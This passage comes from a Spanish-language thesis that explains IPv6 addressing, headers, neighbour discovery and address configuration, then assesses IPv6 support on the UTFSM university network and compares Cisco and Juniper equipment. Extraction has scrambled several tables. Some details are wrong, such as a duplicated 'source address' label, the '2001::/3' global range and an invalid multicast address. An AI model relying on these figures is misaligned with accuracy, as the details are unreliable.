Direccionamiento jerárquico: Las direcciones IPv6 globales están diseñadas para crear una infraestructura eficiente, jerárquica y resumida de enrutamiento basada en la existencia de diversos niveles de ISP. Esto permite contar con tablas de enrutamiento más pequeñas y manejables.
Nuevo formato de cabecera: Aún cuando el tamaño de la cabecera en IPv6 es mayor que en IPv4, el formato de ella se ha simplificado. Se han eliminado 13
campos que en la práctica eran poco usados, de forma de hacer más eficiente el manejo de los paquetes. Con la incorporación de cabeceras adicionales, IPv6 permite futuras expansiones.
Autoconfiguración: IPv6 incorpora un mecanismo de auto configuración de direcciones, “stateless address configuration”, mediante el cual los
nodos son
capaces de auto asignarse una dirección IPv6 sin intervención del usuario.
Nuevo protocolo para interactuar con vecinos: El protocolo de descubrimiento de vecinos, reemplaza a los protocolos ARP y “Router Discovery” de IPV4. Una de sus mayores ventajas es que elimina la necesidad de los mensajes del tipo “broadcast”.
3.2. Estructura de un paquete IPv6 La Figura 3.1 muestra la estructura de un paquete IPv6.
Figura 3.1 Estructura de un paquete IPv6.
Un paquete IPv6 tiene una cabecera de tamaño fijo e igual a 40 [byte], el doble de la cabecera IPv4. Este aumento se debe a que el tamaño de los campos “Source
14
Address” y “Destination Address” aumentaron su tamaño de 32 a 128 [bit] cada uno. La cabecera posee los siguientes 8 campos:
Versión (“Version”): Indica la versión del protocolo IP, en este caso su valor
es igual a 6.
Clase de tráfico (“Traffic Class”): Inc luye
información que permite a los
“routers” clasificar el tipo de tráfico al que el paquete pertenece, aplicando
distintas políticas de enrutamiento según sea el caso. Realiza la misma función que el campo “Type of Service” de IPv4.
Etiqueta de flujo (“Flow Label”): Identifica a un flujo determinado de
paquetes, permitiendo a los “routers” identificar rápidamente paquetes que deben ser tratados de la misma manera.
Tamaño de la carga útil (“Payload Length”): Indica el tamaño de la carga útil
del paquete. Las cabeceras adicionales son consideradas parte de la carga para este cálculo.
Próximo encabezado (“Next Header”): Indica cual es el siguiente cabecera es
la siguiente cabecera adicional presente en el paquete. Si no se utilizan, apunta hacia la cabecera del protocolo capa 4 utilizado.
Límite de saltos (“Hop Limit”): Indica el máximo número de saltos que puede
realizar el paquete. Este valor es disminuido en uno por cada“router” que reenvía el paquete. Si el valor llega a cero, el paquete es descartado.
Dirección de srcen (“Source Destination Address”): Indica la dirección IPv6 del nodo que generó el paquete.
Dirección de srcen (“Source Destination Address”): Indica la dirección de
destino final del paquete. En la Figura 3.2 se pueden apreciar los cambios de la cabecera IPv6 respecto a la cabecera IPv4. 15
Figura 3.2 Cambios en la cabecera de los paquetes IPv6.
El protocolo IPV6 reemplazó el campo “Options” de IPv4 por las denominadas
cabeceras adicionales. Estas cabeceras permiten expandir el funcionamiento de IPv6, sin verse restringidas a un campo de tamaño fijo como el presente en IPv4. Las cabeceras adicionales se ubican inmediatamente después de la cabecera IPv6 y antes de la cabecera del protocolo superior (UDP o TCP).
3.3. Formato de una dirección IPv6 Las direcciones IPv6 están compuestas como 8 campos de 16 [bit] de largo, separados por dos puntos “:”. Cada campo está representado por 4 caracteres
hexadecimales
(0-f).
Un
ejemplo
de
dirección
IPv6
válida
es
2001:0000:1234:0000:0000:C1C0:ABCD:0876. Con el fin de simplificar la escritura y memorización de direcciones, se pueden aplicar las siguientes reglas a las direcciones IPv6. a) No se hace distinción entre mayúsculas y minúsculas. “ABC9”‟ es equivalente a “abC9‟.
b) Los ceros al inicio de un campo son opcionales. “00c1” es equivalente a “c1”.
16
c) Una sucesión de campos con ceros puede ser reemplazados por “::”. “1234:0000:0000:abc9” es igual a „1234::abc9”
2
.
Tomando la dirección de ejemplo: 2001:0000:1234:0000:0000:C1C0:ABCD:0876 Mediante la regla a), se puede escribir como: 2001:0000:1234:0000:0000:c1c0:abcd:0876 La dirección se puede escribir de forma resumida utilizando la regla b): 2001:0:1234:0:0:c1c0:abcd:876 Aplicando la regla c) se puede resumir aún más a: 2001:0:1234::c1c0:abcd:876 Tal como en el caso de IPv4, para señalar las secciones de la dirección que identifican a la red y al dispositivo, se utiliza el formato CIDR en la forma
/. Por ejemplo, una dirección en la forma 3ffe:b00:c18:1::1/64 señala que los primeros 64 [bit] identifican a la red (3ffe:b00:c18:1) y los restantes 64[bit] identifican al dispositivo de dicha red (::1). Tradicionalmente el uso del símbolo “:” en las dirección IPv4 señala un puerto en
un determinado nodo, por ejemplo 192.168.1.1:80 señala al puerto 80 (WWW) del nodo 192.168.1.1. Esto representa un problema de incompatibilidad al utilizar direcciones IPv6, por lo que se ha establecido que para señalar un puerto en una determinada dirección IPv6, esta debe estar encerrada por paréntesis cuadrados en la forma [dirección]:puerto, tal como se define en [9].
3.4. Direccionamiento IPv6 En IPv6 se han definido 3 tipos de direcciones: 2 Esta regla sólo se puede utilizar una vez en una dirección IPv6, de lo contrario el sistema no sabría cuantos campos se han comprimido en cada caso. 17
“Unicast”: Identifican a un nodo único y particular.
“Multicast”: Identifican a un grupo de nodos. El trafico enviado a una dirección “multicast” es reenviado a todos los nodos pertenecientes al grupo
“Anycast”: Identifica a un grupo de nodos. El tráfico enviado a una dirección “anycast” es
enviado al nodo más cercano al emisor.
Se han eliminado las direcciones del tipo “broadcast”,
reemplazando su uso con
direcciones “multicast” que identifican a determinados grupos de dispositivos en una
red.
3.4.1. Unicast Las direcciones “unicast” cumplen la función d e
individualizar a cada nodo
conectado a una red. Esto permite otorgar conectividad punto a punto entre los nodos pertenecientes a ella. Uno de los nuevos aspectos introducidos en IPv6 es el uso de contextos en las direcciones “unicast”. Los contextos definen
el dominio de una red, ya sea lógico o
físico. El poder reconocer el contexto al que pertenece una determinada dirección permite realizar un manejo óptimo de los recursos de la red, optimizando su desempeño. En IPv6, las direcciones unicast pueden pertenecer a uno de los tres contextos existentes:
Local al enlace (“ link-local”):
Identifica a todos los nodos dentro de un enlace
(capa 2).
Local único (“unique-local3”): Identifica a todos los dispositivos dentro de una red interna o sitio, compuesta por varios enlaces o dominios capa 2.
Global: Identifica a todos los dispositivos ubicables a través de Internet.
3
Anteriormente conocido como local en el sitio (“site -local”). 18
Estos contextos presentan una estructura jerárquica, tal como se observa en la Figura 3.3. El contexto global es el más amplio, englobando al resto.
Figura 3.3 Contextos de direcciones “unicast”.
A diferencia de IPv4, en IPv6 una interfaz puede poseer más de una dirección IP. Es así como por ejemplo un nodo puede poseer una dirección local al enlace para comunicarse con los dispositivos locales y una o más direcciones globales para comunicarse hacia Internet.
3.4.2. Direcciones “unicast” locales al enlace Las direcciones “unicast” locales al enlace son aquellas que permiten la
comunicación entre los distintos nodos conectados a un mismo enlace capa 2 del modelo ISO/OSI. Estas direcciones no pueden ser enrutadas y sólo son válidas al interior del enlace. Cada vez que un nodo IPv6 se conecta a una red, adquiere automáticamente una dirección local al enlace, sin ser necesaria la intervención del usuario o de otros dispositivos. La estructura de una dirección local al enlace es “fe80:0:0:0:”‟. El identificador de interfaz se genera automáticamente a partir de su
dirección MAC, siguiendo el formato EUI-64. En laFigura 3.4 se detalla cómo se construye el identificador de interfaz IPv6 a partir de la dirección MAC.
19
Figura 3.4 Creación del identifi cador de interfaz.
Las direcciones locales al enlace permiten proveer de forma rápida y simple conectividad entre los nodos conectados a un mismo enlace. Su principal ventaja es que no dependen de los prefijos IPv6 anunciados en una red, por lo que permiten identificar directamente a los nodos y “routers” presentes en un enlace.
3.4.3. Direcciones “unicast” locales únicas Las direcciones locales únicas son direcciones que permiten la comunicación de nodos al interior de un sitio. Se entiende por sitio a toda red organizacional, de prefijo /48, compuesta por 1 o más subredes. Son el equivalente a las direcciones privadas en IPv44, cumpliendo la misma función: proveer conectividad entre los nodos de un sitio ó “intranet”. Al igual que las
direcciones locales al enlace, no pueden ser enrutadas hacia Internet. Su estructura se detalla en la Figura 3.5.
Figura 3.5 Estructura de una dirección local única.
4
Bloques 10/8, 172.16/12 y 192.168/16. 20
Todas las direcciones locales únicas se encuentran dentro del rango dado por el prefijo fc00::/8. Los campos de una dirección “unicast” local única son:
Identificador único: Es un valor de 40[bit] que identifica a un sitio en particular. Dado que este tipo de direcciones no son publicadas en Internet, pueden existir distintos sitios con el mismo identificador.
Identificador subred: Permite crear un plan de direccionamiento jerárquico, identificando a cada una de las 216 posibles subredes en un sitio.
Identificador de interfaz: Individualiza a una interfaz presente en una determinada subred del sitio. A diferencia de las direcciones locales al enlace, este identificador no se genera automáticamente.
3.4.4. Direcciones “unicast” Globales: Las direcciones unicast globales son usadas para comunicar 2 nodos a través de Internet. Son el equivalente alas direcciones públicas en IPv4. Son el único tipo de direcciones que pueden ser enrutadas a través de Internet. El espacio reservado actualmente para este tipo de direcciones es de 2001:: a 3fff:ffff:ffff:ffff:ffff:ffff:ffff (2001::/3). Todas las subredes en el espacio de direccionamiento unicast global tienen un prefijo de red fijo e igual a /645. Esto implica que los primeros 64 [bit] (los primeros 4 campos en formato hexadecimal) corresponden al identificador de red, y los siguientes corresponden a la identificación de la interfazde un determinado nodo. En la Figura 3.6 se observa la estructura de una dirección unicast global.
Figura 3.6 Estructura de una dirección “unicast” global.
5
Esta es la norma más utilizada, técnicamente se pueden utilizar prefijos más grandes. 21
El prefijo de enrutamiento global es aquel que identifica a un sitio conectado a Internet. Dicho prefijo sigue una estructura jerárquica, con el fin de reducir el tamaño de la tabla de enrutamiento global en Internet. En laFigura 3.7 se presenta la estructura utilizada actualmente para la delegación de prefijos.
Figura 3.7 Jerarquía de
delegación de prefijos “unicast” globales .
Del espacio total de direcciones Global Unicast administrador por el IANA, cada registro regional (RIR) maneja un prefijo /23, del cual entrega prefijos /32 a los proveedores de servicios presentes en cada región del planeta. Los usuarios finales obtienen un prefijo /48 delegado directamente por sus proveedores de servicios. Un prefijo /48 permite que cada usuario cuente con un sitio o intranet compuesto por162 subredes, cada una con capacidad para conectar hasta 64 2 dispositivos a Internet.
3.4.5. Multicast En IPv6 el tráfico “multicast” opera de la misma forma que en IPv4. Dispositivos IPv6 ubicados en distintos lugares pueden recibir tráfico dirigido a una única dirección “multicast”.
Las direcciones IPv6 “multicast”
tienen la estructura
presentada en laFigura 3.8
Figura 3.8 Estructura direcciones “multicast”.
22
El campo L indica el tiempo de vida de un grupo“multicast”, tomando el valor de 0 cuando es un grupo permanente y 1 cuandoes un grupo “multicast” temporal. El campo S indica el contexto o alcance del grupo, de acuerdo a los valores presentados en la Tabla 3.1. Tabla 3.1 Códigos de contexto en una dirección “multicast”.
Valor de S (hexadecimal de 4 [bit]) 1 2 5 8 E Otros valores
Contexto del grupo Interfaz Enlace Sitio Organización Global Sin asignar o reservado
IPv6 elimina el uso de las direcciones “broadcast”, sustituyéndolas por direcciones “multicast”. Esto permite hacer una selección más precisa de los destinatarios de una
solicitud, evitando sobrecarga de mensajes en redes de muchos nodos. En laTabla 3.2 se muestran algunos de los grupos multicast fijos existentes. Tabla 3.2 Direcciones de grupos "multicast" fijos.
Dirección Multicast FF01::1 FF02::1 FF01::2 FF02::2 FF05::2
Descripción Todos los nodos en la interfaz Todos los nodos en el enlace Todos los routers en la interfaz Todos los routers en el enlace Todos los routers en el sitio
Dirección multicast de nodo solicitado Para realizar la asociación entre direcciones capa 2 (MAC) y direcciones IPv6, se utiliza la dirección “multicast” de nodo solicitado. Esta dirección
contiene parte de la dirección IPv6 que se desea consultar y posee la estructura descrita en la Figura 3.9.
Figura 3.9 Estructura dirección "multicast" de nodo solicit ado
Cada vez que un nodo se configura con una dirección IPv6, se une automáticamente al grupo multicast indicado por su dirección de nodo solicitado. Dado que dicha 23
dirección toma solo los últimos 24 bit de la dirección IPv6, en un mismo grupo multicast pueden existir varios nodos con distintas direcciones IP. En laTabla 3.3 se pueden observar algunas direcciones IPv6 y sus correspondientes direcciones multicast de nodo solicitado. Tabla 3.3 Ejemplos direcciones “multicast” de nodo solicitado.
Dirección IPv6 2800:270:bcd0:3::1 2800:270::1230:1000:a34:9e9a 2800:270::34de:2000:a34:9e9a fc00:0:0:1::aaaa:a1
Dirección multicast de nodo solicitado ff02::1:ff00:1 ff02::1:ff34:9e9a ff02::1:ff34:9e9a ff02::1::ffaa:a1
Cuando un nodo desea enviar un paquete a un vecino presente en el mismo enlace y no tiene su dirección física, envía un mensaje que contiene la dirección IPv6 a consultar al grupo “multicast” de nodo solicitado correspondiente dicha dirección.
Todos los nodos que estén en dicho grupo multicast reciben el mensaje, pero solo responde el nodo configurado con la dirección IPv6 solicitada.
3.4.6. Anycast Una dirección “anycast” es aquella que identifica a un grupo de interfaces. Los paquetes enviados a una dirección anycast son reenviados por la infraestructura de enrutamiento hacia la interfaz más cercana al srcen del paquete. Con el fin de facilitar la entrega, la infraestructura de enrutamiento debe conocer las interfaces que están asociadas a una dirección anycast y su distancia en métricas de enrutamiento Para configurar una dirección“anycast”, basta con configurar una misma dirección unicast en distintos dispositivos, junto con configurar en cada“router” una ruta directa hacia dicha dirección (/128). La idea es que cada“router” posea en su tabla de enrutamiento varias entradas hacia la misma dirección, con sus métricas asociadas. Al fallar la ruta más cercana, se selecciona automáticamente la siguiente. El uso de “anycast” permite entre otras cosas implementar balanceo de carga y tolerancia a fallas. Por lo general, su uso se suele restringir al contexto de un sitio o red local. Las direcciones “anycast”, al igual que las “multicast” solo son válidas como direcciones de destino en los paquetes IPv6. 24
3.5. Algoritmos de Enrutamiento El uso de IPv6 no implica cambios significativos en la forma en que operan los protocolos de enrutamiento en las redes IP. Sin embargo, para aprovechar las nuevas características de IPv6, se han desarrollado nuevas versiones o complementos a los protocolos de enrutamiento más utilizados. En laTabla 3.4 se presentan las nuevas versiones desarrolladas para IPv6. Tabla 3.4 Protocolos de enrutamiento en IPv6
Protocolo enrutamiento RIP EIGRP OSPF IS-IS BGP EIGRP
Versión IPv6 RIPng EIGRP para IPv6 OSPFv3 Integrated IS-IS BGP-MP EIGRP for IPv6
3.6. ICMPv6 El protocolo de mensajes de control de Internet (ICMP) es utilizado para enviar información de configuración y reportes de error entre los nodos de una red. Para IPv6, se ha desarrollado una nueva versión del protocolo, denominada ICMPv6 [10]. A diferencia de ICMP para IPv4, el cual no es esencial para las comunicaciones en redes IPv4, ICMPv6 posee características imprescindibles para la configuración y comunicación en redes IPv6. El protocolo ICMPv6 comprende una serie de mensajes, cada uno identificado con un código. Dichos mensajes permiten llevar a cabo diversos procesos en IPv6 tales como: descubrimiento del máximo valor MTU en un camino, manejo de grupos multicast, detección de destinos inalcanzables y el protocolo de descubrimiento de vecinos.
3.6.1. Protocolo de descubrimiento de vecinos El protocolo de descubrimiento de vecinos “(Neighbor Discovery Protocol”, NDP) es un protocolo necesario para el correcto funcionamiento de las redes IPv6. Es el encargado de descubrir otros nodos en el enlace, realizar la resolución de direcciones
25
IPv6 y direcciones MAC, encontrar los“routers” disponibles y mantener información actualizada sobre el estado de los caminos hacia otros nodos. Este protocolo realiza funciones para IPv6 similares a las realizadas por ARP en IPV4. Para el intercambio de información, utiliza mensajes ICMPv6. Enla Tabla 3.5 Tabla 3.5 Características protocolo descubrimiento de vecinos. Se presentan las funciones que realiza, junto al equivalente en IPv4. Tabla 3.5 Características protocolo descubrimiento de vecinos.
Característica de NDP Descubrimiento de “routers”
Descripción Permite a los dispositivos detectar
Equivalente IPv4
a los “routers” presentes en el
ICMP Router Discovery
enlace. Permite a los nodos conocer el Descubrimiento de prefijo prefijo utilizado en el enlace. Permite a los nodos auto Descubrimiento de configurar parámetros como MTU parámetros o número máximo de saltos. Autoconfiguración de direcciones
Permite a los dispositivos auto configurar su propia dirección. Permite a los nodos determinar las Resolución de direcciones direcciones capa 2 de los dispositivos presentes en el enlace. Permite a los nodos determinar el Determinación próximo próximo salto para un destino salto dado. Detección de vecinos Detecta si se puede alcanzar un inalcanzables(NUD) determinado nodo. Detección de direcciones Permite a los nodos determinar si duplicadas (DAD) una dirección está en uso.
No disponible PMTU Discovery No disponible ARP Tabla ARP y/o tabla de enrutamiento en los dispositivos. “Dead Gateway Detection ”
ARP con srcen=0
Permite a los “routers” informar a
Redirección
los nodos de un mejor próximo salto para una dirección en particular.
ICMPv4 Redirect
3.7. Mecanismos de configuración de direcciones En IPv6 existen tres distintas formas en las que un nodo puede obtener una dirección IPv6: de forma estática, autoconfiguración sin estados y mediante DHCPv6
26
Configuración estática La configuración estática consiste en ingresar manualmente la dirección IPv6 de un nodo en un archivo de configuración o mediante el uso de herramientas propias del sistema operativo. La información que se debe incluir como mínimo es la dirección IPv6 y el tamaño del prefijo de red. Autoconfiguración sin estados (“stateless”)
El procedimiento de autoconfiguración sin estados [11] utiliza el protocolo de descubrimiento de vecinos NDP para reconocer a los“routers” presentes en el enlace y generar una dirección IPv6 a partir del prefijo que estos anuncias. Los pasos que realiza un nodo para obtener una dirección son los siguientes:
Descubrir un prefijo utilizado en el enlace: El nodo escucha los anuncios que envían los “routers” periódicamente al enlace (mensajes RA) o puede solicitar un anuncio, enviando un mensaje desolicitación de “router” (RS). A partir de los mensajes RA, obtiene la información del prefijo de red.
Generar un identificador de interfaz: Para generar el resto de la dirección IPv6, el nodo genera un identificador de interfaz. Puede generarla a partir de su dirección MAC (como en las direcciones locales al enlace) o de forma aleatoria.
Verificar que la dirección no esté duplicada: La dirección IPv6 generada debe ser única, por lo que el nodo inicia el procedimiento de detección de direcciones duplicadas (DAD). Si la dirección es única, el nodo comienza a utilizarla.
Autoconfiguración con estados (DHCPv6) La implementación de DHCP para IPv6 (DHCPv6) realiza las mismas funciones que DHCP en IPv4. Un servidor DHCP envía mensajes que contienen la dirección IPv6 a utilizar, dirección del servidor DNS e información adicional a los clientes DHCP, quienes se configuran de acuerdo a la información recibida.
27
A diferencia de la configuración sin estados, el uso de DHCPv6 permite centralizar toda la asignación de direcciones de los equipo pertenecientes a un sitio. El servidor DHCPv6 no necesita estar conectado en el mismo enlace de los clientes DHCPv6, los mensajes pueden ser enrutados. En la Tabla 3.6 se observan los principales cambios entre DHCPv4 y DHCPv6. Tabla 3.6 Diferencias entre DHCPv4 y DHCPv6
Característica
DHCPv4
Mensaje de reconfiguración
No disponible
Dirección de destino de la solicitud DHCP de un cliente Dirección de srcen en la solicitud DHCP. Asociación de identidad
Dirección Broadcast 0.0.0.0
No disponible
DHCPv6 Permite a los servidores solicitar a los clientes que actualicen su información. Grupo multicast que agrupa a todos los servidores DHCP. Dirección local de enlace del nodo. Los clientes pueden solicitar información a varios servidores DHCPv6 y obtener múltiples direcciones.
Etiqueta de configuración asistida
Un “router” puede anunciar a
No disponible
los nodos si es que está permitido el uso de DHCPv6.
3.8. Fragmentación La fragmentación en IPv6 es manejada únicamente por los nodos finales de una conexión. Los nodos intermedios rechazan todos los paquetes que tengan un tamaño superior a su máxima unidad de transporte (MTU). El MTU mínimo para IPv6 es de 1280 [byte] y el recomendado es de 1500 [byte], superiores a los tamaños establecidos para IPv4 (68 y 576 [byte] respectivamente). Dado que los nodos intermedios no realizan fragmentación, se utiliza el proceso de descubrimiento de la MTU del camino para encontrar la máxima MTU que puede atravesar el camino entre dos nodos. Este proceso utiliza mensajes ICMPv6 y genera una tabla con los valores máximos de MTU para cada destino. Si un paquete supera el tamaño de la máxima MTU en un camino dado, el nodo srcen debe realizar la fragmentación. El proceso de fragmentación es similar del de IPv4, con la diferencia de que en vez de utilizar el campo “fragmentación” de la
28
cabecera IPv4, se utiliza una cabecera adicional para indicar que el contenido del paquete es un fragmento.
29
Capítulo 4
4.Análisis red institucional y evaluación de alternativas 4.1. Red Institucional UTFSM La red de datos de la Universidad Técnica Federico Santa María (UTFSM) se compone de la interconexión de la Casa Central en Valparaíso con los campus Santiago San Joaquín, Santiago Vitacura y las sedes de Viña del Mar y Concepción. En la Casa Central la red se compone de un “b ackbone” de fibra óptica multimodo (que comunica a los edificios internos del Campus) y equipamiento activo de comunicaciones, principalmente orientado al uso de “Fast Ethernet” (normas 100BaseTX y 100BaseFX). Los enlaces principales de unión de los equipos de distribución (acceso departamental) cuentan con enlaces“Gigabit Ethernet” (1000 [Mbps]). En la Figura 4.1 se presenta la topología simplificada de la red institucional UTFSM al momento de realizar el análisis.
30
Figura 4.1 Topología simplificada Red UTFSM (11/2008).
Los equipos campus-gw y fibra-gw se encuentran conectados a través del“switch” sw-inside y utilizan el protocolo RIP para el intercambio de rutas. En conjunto, dichos equipos componen el núcleo de la red, manejando la configuración de las VLANS de la red y realizando el enrutamiento entre ellas y hacia el exterior de la red. Dado que IPv6 es un protocolo capa 3, su uso es transparente para todos los dispositivos capa 2. Por ello, en este análisis no se consideran los “switches” de
acceso que se encuentran a lo largo de las dependencias de la UTFSM. No se considera tampoco el equipo PacketShaper, ya que no se aplicarán políticas de calidad de servicio en el tráfico IPv6. El objetivo de este análisis es la implementación de una red IPv6 que permita conectar a la Red LAN de la casa Central a Internet. De esta forma, los departamentos 31
y unidades que lo requieran podrán contar con acceso IPv6 a Internet a través del “backbone” de fibra óptica.
Este es el primer paso hacia una futura migración total de la red a IPv6. No se considera el acceso IPv6 a través de WIFI ni desde las sedes y campus de la UTFSM, sin embargo el análisis e implementación aquí presentada pueden ser utilizados como base para una futura migración de dichos sectores de la red. La implementación de la red IPv6 está enmarcada dentro del proyecto de actualización de la red institucional UTFSM. Dicha actualización se debe al aumento de tráfico y usuarios de la red en los últimos años. Los cambios aquí propuestos buscan mejorar el rendimiento de la red institucional en general, junto con proveer soporte IPv6.
4.2. Mecanismos de implementación de redes IPv6 Para la implementación de redes IPv6 en redes que funcionan sobre IPv4, existen tres técnicas distintas.
Doble capa IP (Dual Stack) La técnica “dual stack” es aquella
en donde se ejecutan los protocolos IPv4 e IPv6
de manera simultánea en los nodos de una red. Cada nodo tiene asignada direcciones IPv4 e IPv6. Esta técnica tiene la ventaja de asegurar la conectividad de los nodos de la red, cuando no sea posible utilizar IPv6, se puede utilizar IPv4. Las desventajas son una disminución del desempeño de los equipos de red, que deben mantener tablas de direcciones y rutas independientes para cada protocolo.
Túneles IPv6 sobre IPv4 La técnica de tunelización consiste en encapsular paquetes IPv6 dentro de paquetes IPv4 para que estos puedan ser transmitidos a través de redes IPv4. El uso de túneles requiere que exista un equipo en cada extremo que realice el proceso de encapsulación y extracción de los paquetes IPv6. Los túneles permiten otorgar conectividad IPv6 cuando no es posible implementar IPv6 en todos los dispositivos de una determinada red. 32
NAT-PT (Network Address Translation – Protocol Translation) Es una técnica que transforma directamente paquetes IPv6 en paquetes IPv4 y viceversa. Es totalmente transparente desde el punto de vista de los nodos en una conexión, solo es necesario configurar un“router” que realiza la transformación de paquetes. Es más complejo que el tradicional protocolo NAT de IPv4, ya que es necesario modificar íntegramente cada paquete IPv4/IPv6. Solo se recomienda su uso como medida temporal, cuando no existe otra alternativa. En la UTFSM ya se han realizado implementaciones de redes IPv6 mediante el uso de túneles [12] [13]. El objetivo de este trabajo es implementar una red que funcione nativamente en IPv6, sin requerir el uso de IPv4, utilizando la técnica de “dual stack”.
De esta forma se evita depender de IPv4 para realizar la comunicación entre nodos, generando un escenario más realista respecto al futuro, cuando IPv6 sea el protocolo dominante en Internet.
4.3. Análisis del soporte IPv6 en la red institucional El uso de la técnica “dual -stack” requiere que todos los equipos involucrados en
conectar la red institucional a Internet cuenten con soporte para IPv6. En laTabla 4.1 se presenta un resumen de los resultados obtenidos al revisar los equipos existentes. Tabla 4.1 Análisis equipos existentes Red Institucional UTFSM
Equipo Cisco 7204VXR Cisco Catalyst 2950T Cisco Catalyst 3550
Función(es)
¿Soporta IPV6?
Gw-Border
Sí
Actualizar IOS a una versión superior a la 12.2R.
Sw-border
No
Reemplazar Equipo.
Nacional-gw campus-gw
No
Reemplazar Equipo.
Cisco Catalyst 3560
Admin-gw, Gateway de sedes y campus
Sí
Cisco PIX 525
Firewall Primary Firewall Secundary
Sí
Acción a realizar
Si se desea utilizar enrutamiento IPv6, se requiere utilizar la serie “Advanced IP Services” del sistema
IOS. Actualizar PIX OS a una versión superior a la 7.0.
33
4.4. Alternativas de equipamiento El análisis de los equipos existentes demostró que para la implementación de IPv6 se requiere realizar el cambio de por lo menos dos tipos de equipos actualmente utilizados, los “switches”
Catalyst 3550 y 2950. Dichos equipos no contarán con
ningún tipo de actualización para implementar IPv6, ya que han sido descontinuados por su fabricante. Cabe destacar que los equipos mencionados pueden ser utilizados como “switches” de acceso en redes IPv6, funcionando
sólo en capa 2.
Si bien no era estrictamente necesario desde el punto de vista de soporte IPv6, los equipos cortafuegos firewall-primary y firewall-secundaryfueron considerados en la lista de dispositivos a reemplazar. Esta consideración se hizo tomando en cuenta el crecimiento de usuarios de la red institucional en los últimos años. Se solicitaron presupuestos a dos de los principales fabricantes de equipos de red: Cisco, fabricante de la mayor parte de los equipos de la red institucional, y a Juniper. Ambas empresas realizaron sus propios análisis de la red institucional y presentaron sus propuestas para el cambio de equipos. Las soluciones presentadas por ambas empresas coincidieron en el cambio de los equipos señalados anteriormente, sugiriendo además otras actualizaciones a la red. Las tablas 4.2 y 4.3 resumen las propuestas entregadas por las empresas. Tabla 4.2 Propuesta Cisco.
Equipos
Función
ASA 5520
Reemplazo PIX 525 Reemplazo Catalyst 3550 Reemplazo Catalyst 2950T
Catalyst 3750G Catalyst 2960G
Versión OS Cisco ASA Software Versión 8.0
Cantidad
CISCO IOS 12.2(44)SE
3
CISCO IOS 12.2(44)SE
1
2
Tabla 4.3 Propuesta Juniper.
Equipos SSG-550M EX3200-48T EX3200-24T
Función Reemplazo PIX 525 Reemplazo Catalyst 3550 Reemplazo Catalyst 2950T
Versión OS
Cantidad
2 SCREENOS 6.1 JUNOS for EX Series 9.1 3 JUNOS for EX Series 9.1 1
34
4.5. Comparación de alternativas de equipamiento 4.5.1. Soporte IPv6 De acuerdo a la información recibida por Cisco y Juniper, todos los equipos mencionados en las cotizaciones cuentan con soporte IPv6. Sin embargo, no entregaron mayores detalles sobre que características implementaban correctamente. En base a los manuales [14], hojas de datos [15] [16] y foros de soporte [17] de los propios fabricantes, se recopiló la información presentada en las tablas 4.4 y 4.5. Tabla 4.4 Características IPv6 equipos Ci sco.
Equipo
Características IPv6
ASA 5520
Catalyst 3750 y Catalyst 2960
Provee control de acceso y servicios de firewall para ambientes de redes nativos IPv6 y mixtos (IPv4 & IPv6). Entrega servicios de inspección para aplicaciones basados en HTTP, FTP, SMTP, ICMP, UDP y TCP. Permite administración desde SSHv2, Telnet, HTTP, HTTPS elaICMP corriendoremota sobre IPv6. Enrutamiento estático. Descubrimiento de máximo MTU. Protocolo de descubrimiento de vecinos. BPG4-MP, EIGRP, OSPFv3 y RIPng. Acceso mediante SSH, HTTPS sobre IPv6. Búsquedas DNS sobre Ipv6. Extended y Standard Access Control List para IPv6. Configuración automática de direcciones. ICMPv6. Soporte CEF/dCEF.
Tabla 4.5 Características IPv6 equipos J uniper
Equipo
Características IPv6
SSG-550M
Enrutamiento estático y RIPng DHCPv6 Túneles IPSec+Ipv6. PPPoE NAT-PT Radius
35
Equipo
Características IPv6
EX-3200 y EX-4200
Protocolo de descubrimiento de vecinos. ICMPv6 BPG4-MP, EIGRP, OSPFv3 y RIPng. Configuración automática de direcciones. ICMPv6.
Es necesario destacar que las características señaladas de los equipos EX-3200 y EX-4200 corresponden a las indicadas en los respectivos manuales. Sin embargo, al momento de realizar el análisis, dichas características aun no estaban disponibles en el sistema operativo de los equipos [17].
4.5.2. Tecnologías y filosofía de diseño. Cisco utiliza en sus productos el sistema operativo IOS. Este es un sistema operativo monolítico, lo que significa que corre como una sola instancia y que todos los procesos comparten el mismo espacio de memoria. Por este hecho, errores en una operación pueden tener alterar o corromper otros procesos del sistema. Junto a esto, si un usuario desea agregar nuevas funciones o complementos al sistema operativo, se debe detener el equipo y reemplazar el sistema operativo completamente. Por otra parte, JUNOS fue construido como un sistema operativo modular. El núcleo del sistema está basado en el sistema operativo FreeBSD y los procesos corren como módulos sobre el núcleo, con su propio espacio de memoria separado y protegido del resto. De esta forma los usuarios pueden agregar características y funciones al sistema operativo sin tener que reemplazarlo completamente, una característica llamada actualizaciones en línea, la que permite obtener una mejor disponibilidad del servicio. Cisco consciente de estas limitaciones en su sistema operativo, ha desarrollado nuevas versiones del IOS (IOS XR, IOS XE y NX-OS), que buscan superar las limitaciones del esquema monolítico del IOS srcinal. Estos 3 sistemas operativos son de arquitectura modular: los servicios de IOS corren como módulos sobre un núcleo Linux (NX-OS y IOS XE) o un núcleo POSSIX (IOS XR). En laTabla 4.6 se
36
presenta un cuadro resumen de las principales diferencias entre ambos sistemas operativos. Tabla 4.6 Comparación entre IOS y JUNOS.
Juniper JUNOS Creado en 1996
Cisco IOS Creado en 1987
Ultima versión principal: 9.0 Arquitectura Modular
Ultima versión principal: 12.4 Arquitectura monolítica (en proceso de cambio a arquitectura modular)
Misma versión corre en todos los equipos. (Excepto en “firewalls”)
Distintas versiones disponibles para cada equipo Cisco
Cabe destacar que ambas empresas han anunciado planes para permitir que aplicaciones desarrolladas por terceros tengan acceso a los servicios otorgados por sus sistemas operativos. Si bien ambos sistemas implementan el mismo conjunto de protocolos y estándares utilizados en redes IP, Cisco destaca por estar constantemente actualizando sus sistemas operativos con herramientas y protocolos propios, que facilitan la configuración y administración de sus dispositivos. Dentro de dichos protocolos destacan “NetFlow”, “Hot Standby Router Protocol” (HSRP) y “VLAN Trunking Protocol” (VTP),
4.5.3. Costos de implementación y soporte Los costos de las propuestas presentadas por las empresas fueron similares, por lo que constituyen un elemento diferenciador en este caso. Cabe destacar que Cisco realizó un descuento especial como parte de un programa que busca motivar la implementación de IPv6 en las Universidades. Por su parte Juniper ofreció un descuento de similar magnitud, como parte de su estrategia de penetración del mercado de las universidades. En donde se nota una diferencia, es en los costos asociados a la implementación de cada alternativa. Aun cuando el sistema operativo JUNOS ha sido diseñado para operar de forma similar al sistema IOS de Cisco, posee importantes diferencias en su 37
